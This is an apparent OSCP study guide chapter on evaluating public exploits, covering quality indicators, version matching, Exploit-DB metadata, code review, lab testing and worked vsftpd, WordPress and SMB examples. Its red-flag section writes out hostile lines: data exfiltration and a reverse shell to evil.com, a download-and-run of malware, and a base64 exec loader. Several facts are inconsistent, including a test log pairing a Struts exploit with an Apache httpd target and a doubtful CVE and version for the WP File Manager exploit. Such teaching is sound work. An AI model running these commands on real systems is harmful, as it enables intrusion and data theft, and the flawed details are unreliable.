Domain 3Exploit Dev & AV EvasionCORE

Exploit Evaluation

Systematic approach to evaluating exploit reliability, relevance, and success rate. Covers quality indicators, target matching, metadata analysis, code review techniques, and testing methodology for determining whether a public exploit will work against your OSCP target.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#exploit-evaluation#reliability#code-review#oscp

Exploit Evaluation

Finding an exploit is only the first step. The real skill lies in evaluating whether that exploit will actually work against your specific target. A blind attempt at every exploit you find wastes precious exam time and may trigger IDS/IPS alerts. This chapter provides a systematic framework for assessing exploit quality, relevance, and success probability before you ever run it against a target.


1. Reliability Assessment Framework

Before diving into code, perform a quick quality triage on any exploit you find. These indicators help you rank exploits from “worth trying first” to “skip entirely.”

Quality Indicators

Indicator High Quality Signal Low Quality Signal
Comments & Documentation Clear header block, inline comments explaining key logic, usage instructions No comments, no usage info, copy-paste noise
Code Structure Modular functions, clear separation of concerns, consistent indentation Wall of text, inconsistent formatting, dead code
Error Handling Try/except blocks, connection timeouts, graceful failure messages No error handling, crashes silently or with stack traces
Dependencies Minimal, standard library only, or clearly listed requirements Obscure third-party packages, version-specific imports
Testing Evidence “Tested on” field populated, multiple target entries, author notes about success No testing info, single vague target, no confirmation
Author Reputation Known researcher, multiple verified exploits, consistent naming Anonymous, single exploit, suspicious patterns
Age vs Target Recent relative to target software version, or targets legacy software still in use Very old exploit against a service that has been patched for years
Exploit Type Remote code execution (RCE), clear payload delivery Info disclosure only, requires authentication already

High vs Low Quality Comparison

High-quality exploit example (what the header looks like):

#!/usr/bin/env python3
#
# Title:        Apache Struts 2 Remote Code Execution (CVE-2017-5638)
# Author:       Juan Vazquez (cortir)
# Date:         2017-03-07
# Platform:     Linux, Windows
# Type:         Remote
# Tested on:    Apache Struts 2.3.30, 2.5.10
# CVE:          CVE-2017-5638
#
# Description:
#   This exploit targets the Content-Type header parsing vulnerability
#   in Apache Struts 2. It sends a crafted multipart form request that
#   triggers OGNL evaluation, leading to remote code execution.
#
# Usage:
#   python3 struts2_rce.py <target_ip> <target_port> [command]
#
# Notes:
#   - Works against Struts 2.3.x and 2.5.x up to 2.5.10
#   - Firewall rules that block multipart requests may prevent exploitation
#   - Tested on CentOS 7 and Windows Server 2012
#

import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_struts(target_url):
    """Check if target is running a vulnerable Struts application."""
    try:
        resp = requests.get(target_url, timeout=5, verify=False)
        # Check for Struts-specific headers and response patterns
        if 'Struts' in resp.headers.get('Powered-By', ''):
            return True
        return False
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")
        return False

Low-quality exploit example (red flags everywhere):

# exploit for xss vulnerability
# by hacker123
import socket
s=socket.socket()
s.connect(("10.0.0.1",80))
s.send("GET / HTTP/1.1\r\nHost: evil\r\n\r\n")
print s.recv(9999)

This low-quality example has: no version info, hardcoded IP, Python 2 syntax, no error handling, no description, no usage instructions, and a generic title. Skip exploits like this unless you have no other options.


2. Relevance Determination

An exploit may be high quality but completely irrelevant to your target. Follow this five-step matching process before investing time in any exploit.

Step 1: Service Identification

Confirm the exploit targets the exact service running on your machine.

# Verify what service is actually listening
nmap -sV -p 80,443,8080,8443 10.10.10.5

# Output example:
# PORT    STATE SERVICE  VERSION
# 80/tcp  open  http     Apache httpd 2.4.49 ((Ubuntu))
# 443/tcp open  ssl/http Apache httpd 2.4.49 ((Ubuntu))

Step 2: Version Verification

This is the most critical step. An exploit for Apache 2.4.49 will not work against Apache 2.4.51 if the vulnerability was patched.

# Multiple methods to confirm version:
# Method 1: Nmap service detection
nmap -sV --version-all -p 80 10.10.10.5

# Method 2: Direct banner grabbing
curl -I http://10.10.10.5

# Method 3: WhatWeb for web applications
whatweb http://10.10.10.5

# Method 4: Manual browsing - check about pages, admin panels
# Many apps display version in /admin, /about, /version endpoints

Step 3: Platform Confirmation

An exploit written for Linux may not work on Windows and vice versa.

# Nmap OS detection
nmap -O --osscan-guess 10.10.10.5

# Check HTTP headers for platform clues
curl -I http://10.10.10.5 | grep -i server
# Server: Apache/2.4.49 (Ubuntu)  <- Linux
# Server: Microsoft-IIS/10.0      <- Windows

# Check error pages, file paths in responses
# Linux paths: /var/www/html, /etc/passwd
# Windows paths: C:\inetpub\wwwroot, C:\Windows

Step 4: Configuration Check

Some exploits require specific configurations to be present.

# Check if PHP is enabled (needed for PHP-based exploits)
curl http://10.10.10.5/info.php
# or look for phpinfo() pages

# Check if directory listing is enabled
curl http://10.10.10.5/some-directory/

# Check for specific modules/plugins
# WordPress: wp-content/plugins/ directory
# Joomla: administrator/ directory

Step 5: Environment Assessment

Consider the broader environment before exploiting.

  • Is the target isolated or part of a network? Some exploits require outbound connections.
  • Are there WAF/IPS devices? May block known exploit patterns.
  • Is this a multi-hop scenario? You may need to pivot first.
  • What is your current access level? Some exploits require authentication.

3. Version Matching Techniques

Precise version matching separates successful exploits from failed attempts.

# HTTP service
curl -v http://10.10.10.5 2>&1 | grep -iE 'server|powered-by|x-powered-by'

# SSH service
echo | nc -v 10.10.10.5 22

# FTP service
echo | nc -v 10.10.10.5 21

# SMTP service
echo | nc -v 10.10.10.5 25

# SNMP (if community string known)
snmpwalk -v2c -c public 10.10.10.5 1.3.6.1.2.1.1

Nmap Advanced Version Detection

# Basic version scan
nmap -sV -p- 10.10.10.5

# Intensive version scan (slower but more accurate)
nmap -sV --version-intensity 9 -p- 10.10.10.5

# Use Nmap scripts for deeper detection
nmap --script http-enum,http-headers,http-title -p 80,443,8080 10.10.10.5

# Detect specific application versions
nmap --script http-wordpress-enum -p 80 10.10.10.5
nmap --script http-joomla-info -p 80 10.10.10.5

WhatWeb for Web Applications

# Basic scan
whatweb http://10.10.10.5

# Detailed scan with plugins
whatweb --plugins-all --color=never http://10.10.10.5

# Output example:
# http://10.10.10.5[200 OK]
# Country[CAN][CA], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
# IP[10.10.10.5], Title[Welcome to WordPress],
# WordPress[5.4.2], jQuery[1.12.4], Country-Name[Canada]

Service-Specific Detection

# WordPress version
curl -s http://10.10.10.5/wp-login.php | grep -oP 'wp-include.*?version\s*:\s*\K[0-9.]+'

# Joomla version
curl -s http://10.10.10.5/ | grep -oP 'generator.*?content=".*?Joomla!\s*\K[0-9.]+'

# Drupal version
curl -s http://10.10.10.5/CHANGELOG.txt | head -5

# Check robots.txt for clues
curl -s http://10.10.10.5/robots.txt

Handling Partial Version Information

When you only have partial version info (e.g., “Apache 2.4.x” but not the patch number):

  1. Try the exploit against the broadest version range first — many vulnerabilities affect entire minor version branches.
  2. Look for exploits that target version ranges, not exact versions.
  3. Check the CVE — CVE databases often list the full range of affected versions.
  4. Use the “tested on” field — if an exploit was tested on 2.4.49, it may work on 2.4.41-2.4.49.

4. Exploit Metadata Analysis

Every exploit on Exploit-DB has a metadata header. Learn to read it like a checklist.

Metadata Fields and Their Meaning

Field What It Tells You What to Look For
Title Vulnerability description and affected product Does it match your target service?
Author Who wrote the exploit Known researcher? Anonymous?
Date When the exploit was published Recent? Or very old?
Platform OS the exploit targets Linux, Windows, macOS, or cross-platform?
Type Exploit category remote, local, webapps, dos, etc.
Tested on Specific versions confirmed working Does it match your target version?
CVE Associated CVE identifier Look up CVE for affected version range
References Links to advisories, papers, or patches More references = more credibility
Description How the vulnerability works Helps you understand prerequisites

Red Flags in Metadata

  • Missing “Tested on” field — The author may not have actually tested the exploit.
  • Very old date with no updates — The exploit may be outdated.
  • Generic title — “Buffer Overflow in [Product]” without specifics.
  • No CVE reference — Could mean the vulnerability is obscure or the exploit is unverified.
  • Platform mismatch — Exploit says “Windows” but your target is Linux.
  • Type mismatch — Exploit is “local” but you only have remote access.

Example Metadata Analysis

Title:    vsftpd 2.3.4 - Backdoor Command Execution
Author:   Unknown
Date:     2011-07-03
Platform: Linux
Type:     Remote
Exploit: /ftp/remote/16940.py
Platform: Linux
Shell:    Yes
CVE:      N/A

Analysis:

  • Title is specific (vsftpd 2.3.4) — good sign.
  • Author is “Unknown” — common for well-known vulnerabilities, not necessarily bad.
  • Date is 2011 — old, but vsftpd 2.3.4 backdoor is a classic, still relevant on labs.
  • Platform is Linux — confirm target is Linux.
  • Type is Remote — works from outside.
  • Shell: Yes — confirms it provides a shell.
  • CVE: N/A — this was a deliberate backdoor, not a traditional CVE.

Verdict: High reliability if target runs vsftpd 2.3.4 on Linux.


5. Code Review for Exploits

You don’t need to be a developer, but you must be able to quickly assess exploit code. Focus on these areas.

What to Look For

Payload Construction

# GOOD: Clear payload generation with msfvenom-style approach
payload = shellcode  # Well-defined shellcode variable
payload = payload.ljust(1024, "\x90")  # NOP sled padding - intentional

# BAD: Obfuscated or unclear payload
p=b'\x90'*100+b'\xcc'*400  # What is this? No explanation.

Target Validation

# GOOD: Validates target before exploitation
def verify_target(host, port):
    try:
        s = socket.socket()
        s.settimeout(5)
        s.connect((host, port))
        banner = s.recv(1024).decode()
        s.close()
        if "vsftpd 2.3.4" in banner:
            return True
        return False
    except:
        return False

# BAD: No validation, fires and forgets
s = socket.socket()
s.connect((sys.argv[1], 21))

Error Handling

# GOOD: Handles connection failures gracefully
try:
    response = requests.post(url, data=payload, timeout=10)
    if response.status_code == 200:
        print("[+] Exploit may have succeeded")
    else:
        print(f"[-] Unexpected status code: {response.status_code}")
except requests.exceptions.Timeout:
    print("[-] Connection timed out - target may be unreachable")
except requests.exceptions.ConnectionError:
    print("[-] Connection refused - check target and port")

# BAD: No error handling at all
response = requests.post(url, data=payload)

Hardcoded Values (Major Red Flag)

# BAD: Hardcoded IP address - must change before use
target = "192.168.1.100"
lhost = "192.168.1.50"
lport = 4444

# GOOD: Accepts command-line arguments
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", help="Target IP address")
parser.add_argument("-p", "--port", type=int, default=80, help="Target port")
parser.add_argument("--lhost", help="Listener IP address")
parser.add_argument("--lport", type=int, default=4444, help="Listener port")
args = parser.parse_args()

Language-Specific Review Tips

Python Exploits

# Check Python version compatibility
# Python 2: print "hello"  <- Will fail on Python 3
# Python 3: print("hello") <- Correct

# Check for common imports
import socket      # Network exploits
import requests    # Web exploits
import subprocess  # May execute local commands
import os          # File operations

# Look for the main exploitation function
def exploit(target, port):
    # This is where the magic happens
    pass

Ruby Exploits

# Check for required gems
require 'net/http'       # Standard library, usually fine
require 'nokogiri'       # May need to install: gem install nokogiri
require 'rex/socket'     # Metasploit framework dependency

# Look for the exploit method
def exploit
  # Main exploitation logic
end

C Exploits

// Check compilation requirements
// gcc exploit.c -o exploit -lpthread -lssl

// Look for the main function and exploit logic
int main(int argc, char *argv[]) {
    // Check argument parsing
    if (argc < 3) {
        printf("Usage: %s <target> <port>\n", argv[0]);
        return 1;
    }
    // Exploit logic follows
}

// Watch for architecture-specific shellcode
// x86 vs x64 shellcode is NOT interchangeable

6. Success Rate Assessment

Not all exploits succeed 100% of the time. Learn to estimate your probability of success.

Factors Affecting Success

Factor Impact on Success How to Assess
Exact version match Critical Compare “Tested on” with your target version
Configuration differences High Default vs custom config can change behavior
Security controls High WAF, SELinux, AppArmor, firewalls
Patch status Critical Hotfixes may patch without version change
Network conditions Medium Latency, packet loss, NAT
Exploit age Medium Older exploits may not account for modern mitigations
Author testing depth Medium Single test vs thorough testing across environments

Success Probability Estimation

HIGH (70-90%):
- Exact version match confirmed
- Exploit is recent and well-documented
- Multiple successful reports from other users
- No known security controls in place
- Exploit has clear error handling and retry logic

MEDIUM (40-70%):
- Version match is close but not exact
- Exploit is older but vulnerability is fundamental
- Some configuration differences exist
- Limited testing evidence

LOW (10-40%):
- Version mismatch suspected
- Exploit is very old with no updates
- Security controls likely present
- Poor code quality and no error handling
- Single data point for "tested on"

7. Testing Methodology

Never test an exploit directly against your OSCP target without preparation.

Lab Environment Setup

# Step 1: Set up a local test environment
# Use the same OS and service version as your target

# Example: Testing against Apache 2.4.49
docker pull httpd:2.4.49
docker run -d -p 8080:80 httpd:2.4.49

# Step 2: Verify your local target matches
curl -I http://localhost:8080
# Server: Apache/2.4.49 (Ubuntu)

# Step 3: Test the exploit against your local copy
python3 exploit.py localhost 8080

Version Matching in Lab

# If you can't match the exact version, try the closest available
# Document the version difference and note it as a risk factor

# For Windows targets, use virtual machines
# Ensure the same service pack and update level

Configuration Parity

# Replicate key configuration settings:
# - Same directory structure
# - Same file permissions
# - Same user accounts and privileges
# - Same network configuration (if relevant)

# For web apps:
# - Same database backend
# - Same framework version
# - Same plugin/module versions

Multiple Attempts Strategy

# Attempt 1: Run exploit as-is against lab target
python3 exploit.py 10.10.10.5 80

# Attempt 2: If failed, adjust parameters
python3 exploit.py 10.10.10.5 80 --delay 2 --retries 3

# Attempt 3: Try alternative payload
python3 exploit.py 10.10.10.5 80 --payload cmd/windows/reverse_tcp

# Document each attempt and its result

Documentation Template

## Exploit Test Log

### Target Information
- IP: 10.10.10.5
- Service: Apache httpd 2.4.49
- OS: Ubuntu 20.04 LTS
- Port: 80

### Exploit Information
- EDB-ID: 50876
- Title: Apache Struts 2 RCE (CVE-2017-5638)
- Author: Juan Vazquez
- Date Tested: 2026-08-30

### Test Results
| Attempt | Date | Result | Notes |
|---------|------|--------|-------|
| 1 | 2026-08-30 14:30 | Failed | Connection timeout |
| 2 | 2026-08-30 14:35 | Failed | 404 Not Found - wrong endpoint |
| 3 | 2026-08-30 14:40 | Success | Used /struts2-showcase endpoint |

### Conclusion
Exploit works against /struts2-showcase action. Shell obtained.

8. Red Flags in Exploit Code

Learn to spot unreliable, outdated, or potentially malicious exploits.

Reliability Red Flags

# 1. Hardcoded target IP (must be changed)
TARGET = "192.168.1.100"  # RED FLAG

# 2. No input validation
ip = sys.argv[1]  # No validation - could crash

# 3. Suspicious outbound connections
import urllib
urllib.urlopen("http://evil.com/collect?data=" + str(data))  # RED FLAG - data exfiltration?

# 4. Excessive obfuscation
exec(__import__('base64').b64decode('aW1wb3J0...'))  # RED FLAG - what is this doing?

# 5. Inconsistent encoding
payload = "\x90\x90\x90" + "A" * 1000 + shellcode  # Mixed encoding styles

# 6. No cleanup or resource management
s = socket.socket()
# ... no s.close() anywhere

Outdated Exploit Indicators

# Python 2 syntax in a Python 3 world
print "Exploiting..."  # Python 2 - may not run

# Deprecated libraries
import urllib2  # Python 2 only
import httplib  # Deprecated in Python 3

# Old shellcode techniques
# Stack-based shellcode without ASLR bypass
# DEP bypass techniques that are now standard

Potentially Malicious Exploits

# These patterns suggest the exploit may harm YOUR machine:
os.system("wget http://evil.com/malware -O /tmp/update && chmod +x /tmp/update && /tmp/update")

# Reverse shell back to the exploit author's server
s.connect(("evil.com", 4444))  # Not your listener!

# Keylogger installation
subprocess.Popen(["/usr/bin/keylogger", "&"])

Rule: If an exploit contains any code that connects to external servers you don’t control, do not run it.


9. Decision Matrix

Use this framework to decide your next action after evaluating an exploit.

Decision Flowchart

                    Found an exploit?
                           |
                    Is the target service a match?
                   /                    \
                 Yes                     No
                  |                       |
         Is the version a match?      Look for exploits
        /            |                for the correct
      Yes          Partial            service instead
       |             |
       |    Is the vulnerability    Can you adapt
       |    fundamental enough?     the exploit?
       |     /            \          /        \
       |   Yes            No       Yes        No
       |    |              |        |          |
       |  Try with      Look for  Modify     Find
       |  caution       another   and test   alternative
       |    |              |        |          |
       |    v              v        v          v
       |  TEST IN LAB FIRST, THEN PROCEED
       v
  TEST IN LAB FIRST, THEN PROCEED

Decision Criteria Table

Scenario Action Time Investment
Exact match, high quality, recent Test in lab, then use on target Low (15-30 min)
Partial version match, good quality Test in lab, prepare fallback Medium (30-60 min)
Version mismatch, adaptable code Modify and test extensively High (1-2 hours)
Low quality, unclear target Skip, find alternative Low (5 min to decide)
Suspicious code patterns Do not use, find alternative Low (5 min to decide)
No exploits found for target Pivot to manual exploitation High (2+ hours)

OSCP Exam Time Management

Total exam time: 23 hours (plus 72-hour submission window)
Recommended time per box: 2-4 hours

Exploit evaluation time budget:
- Quick triage (quality check): 2-5 minutes per exploit
- Deep code review: 10-15 minutes max per exploit
- Lab testing: 15-30 minutes per exploit
- Total evaluation per exploit: Under 1 hour

If an exploit takes more than 1 hour to evaluate and adapt,
consider moving to the next box or trying a different approach.

10. Real Examples

Example 1: Evaluating a vsftpd Backdoor Exploit

Target: 10.10.10.2, Port 21

# Step 1: Identify the service
nmap -sV -p 21 10.10.10.2
# 21/tcp open  ftp  vsftpd 2.3.4

# Step 2: Search for exploits
searchsploit vsftpd 2.3.4
# vsftpd 2.3.4 - Backdoor Command Execution (Remote) | linux/remote/16940.py

# Step 3: Review the exploit metadata
# Title:    vsftpd 2.3.4 - Backdoor Command Execution
# Author:   Unknown
# Platform: Linux
# Type:     Remote
# Shell:    Yes

# Step 4: Quick code review
# - Connects to FTP port
# - Sends username: "user: )]:list\n"
# - If backdoor is active, opens port 6200
# - Connects to port 6200 for shell
# - No hardcoded IPs (uses command-line args)
# - Simple, clean code

# Step 5: Assessment
# Version match: EXACT (2.3.4)
# Platform match: Linux (confirmed via banner)
# Quality: HIGH (simple, well-known, many successful reports)
# Red flags: NONE

# Step 6: Decision
# Probability of success: 90%+
# Action: Use immediately (this is a classic, well-documented exploit)

# Step 7: Execute
searchsploit -m 16940
python3 16940.py 10.10.10.2

Example 2: Evaluating a WordPress Plugin Exploit

Target: 10.10.10.15, Port 80

# Step 1: Identify the web application
whatweb http://10.10.10.15
# WordPress[5.4.2], jQuery[1.12.4]

# Step 2: Enumerate plugins
# Manual browsing reveals: /wp-content/plugins/wp-file-manager/

# Step 3: Search for exploits
searchsploit wp-file-manager
# Multiple results found

# Step 4: Evaluate top result
# Title:    WP File Manager 4.23 - Remote Code Execution
# Author:   Multiple authors
# Date:     2019-07-15
# Platform: Webapps
# Type:     Remote
# Shell:    Yes
# CVE:      CVE-2019-12747

# Step 5: Check version match
# Plugin version on target: 4.23 (found in plugin directory)
# Exploit tested on: 4.23
# Match: EXACT

# Step 6: Code review highlights
# - Uses HTTP POST to upload PHP file
# - Constructs payload with base64-encoded shell
# - Has error handling for connection failures
# - Accepts target URL as argument
# - No suspicious outbound connections

# Step 7: Assessment
# Version match: EXACT
# Quality: HIGH (multiple authors, CVE reference)
# Red flags: NONE
# Probability: 80%+

# Step 8: Test and execute
python3 exploit.py http://10.10.10.15/wp-content/plugins/wp-file-manager/

Example 3: When to SKIP an Exploit

Target: 10.10.10.25, Port 445 (SMB)

# Step 1: Identify the service
nmap -sV -p 445 10.10.10.25
# 445/tcp open  microsoft-ds  Windows Server 2019

# Step 2: Search for exploits
searchsploit "Windows Server 2019 SMB"
# EternalBlue variants, MS17-010 exploits

# Step 3: Evaluate MS17-010 exploit
# Title:    MS17-010 EternalBlue
# Tested on: Windows 7, Windows 8, Windows Server 2008, 2012
# Date:     2017-04-14

# Step 4: Assessment
# Version match: UNCLEAR - Windows Server 2019 is NOT in "Tested on"
# MS17-010 affects: Windows 2000 through Windows 10 (1703)
# Windows Server 2019: May or may not be vulnerable depending on updates
# Quality: HIGH (well-known exploit)
# Risk: HIGH (EternalBlue triggers many IDS/IPS systems)

# Step 5: Decision
# Probability: 30-50% (uncertain version coverage)
# Risk: High (detection likely)
# Action: SKIP for now, look for more specific exploits
#         If no other options, test with extreme caution

Quick Reference Checklist

Before running any exploit, run through this checklist:

[ ] Target service matches exploit target
[ ] Target version matches "Tested on" field (or is within affected range)
[ ] Target platform matches exploit platform (Linux/Windows)
[ ] Exploit type matches access level (remote/local)
[ ] No hardcoded IPs or ports in the code
[ ] No suspicious outbound connections
[ ] Code has basic error handling
[ ] Python version compatibility confirmed (Py2 vs Py3)
[ ] Dependencies are available or installable
[ ] Exploit does not contain malicious code
[ ] Lab test performed (if time permits)
[ ] Fallback plan identified
[ ] Success criteria defined (what does "working" look like?)

Key Takeaways for OSCP Exam

  1. Never run an exploit blindly. Always evaluate first.
  2. Version matching is the single most important factor. An exact match means high probability; a mismatch means skip.
  3. Quality matters more than quantity. One high-quality exploit is better than ten low-quality ones.
  4. Time management is critical. Spend no more than 1 hour evaluating a single exploit.
  5. Document everything. Your report needs to show your methodology.
  6. Have a fallback plan. If the exploit fails, know your next move before you start.
  7. Trust but verify. Even well-known exploits can fail due to configuration differences.
  8. Security of the exploit itself matters. Never run code that could compromise your attack machine.